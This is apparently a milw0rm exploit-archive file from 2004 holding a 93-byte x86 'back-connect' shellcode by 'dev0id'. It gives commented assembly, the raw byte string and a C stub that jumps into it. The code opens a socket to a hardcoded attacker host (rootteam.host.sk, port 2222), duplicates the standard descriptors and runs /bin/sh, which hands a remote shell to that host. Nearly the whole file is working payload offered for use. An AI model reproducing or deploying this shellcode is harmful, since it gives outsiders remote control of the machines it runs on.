/* the back-connect shellcode. The destination addr is
0x28402ec3 (rootteam.host.sk) port is 0x8ae (2222).
size = 93 bytes (little isn't it?)
Greetz 2 sp00fed
written by dev0id #rus-sec /EFnet (rootteam.host.sk)
BITS 32
jmp short path
main:
pop esi
xor eax,eax
mov byte [esi+1],0x02 ; filling the sock_addr struct
mov word [esi+2],0x08ae
mov long [esi+4],0x28402ec3 ;(here your addr: rootteam.host.sk)
push byte 0x06 ;int socket(int domain,int type, int proto)
push byte 0x01
push byte 0x02
mov al,97 ;/usr/include/sys/syscall.h (socket)
push eax
int 0x80
mov edx,eax ;now in edx we have the descriptor
push byte 0x10 ;making connect
lea eax,[esi]
push eax
push edx ;eax is our socket descriptor
xor eax,eax
mov al,98 ;/usr/include/sys/syscall.h (connect)
push eax
int 0x80
mov cl,3
mov ebx,-1
loop_1: ;making dup2 3 times
inc ebx
push ebx
push edx
mov al,90
push eax
int 0x80
loopnz loop_1
xor eax,eax
push eax
push long 0x68732f2f
push long 0x6e69622f
mov edx,esp
push eax
push esp
push edx
mov al,59 ;/usr/include/sys/syscall.h(execve)
push eax
int 0x80
path:
call main
db 'A'
*/
char shellcode[] =
"\xeb\x56\x5e\x31\xc0\xc6\x46\x01\x02\x66\xc7\x46\x02\xae\x08"
"\xc7\x46\x04\xc3\x2e\x40\x28\x6a\x06\x6a\x01\x6a\x02\xb0\x61"
"\x50\xcd\x80\x89\xc2\x6a\x10\x8d\x06\x50\x52\x31\xc0\xb0\x62"
"\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff\xff\x43\x53\x52\xb0\x5a"
"\x50\xcd\x80\xe0\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe2\x50\x54\x52\xb0\x3b\x50\xcd\x80\xe8\xa5"
"\xff\xff\xff\x41";
int
main()
{
int *ret;
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}
// milw0rm.com [2004-09-26]
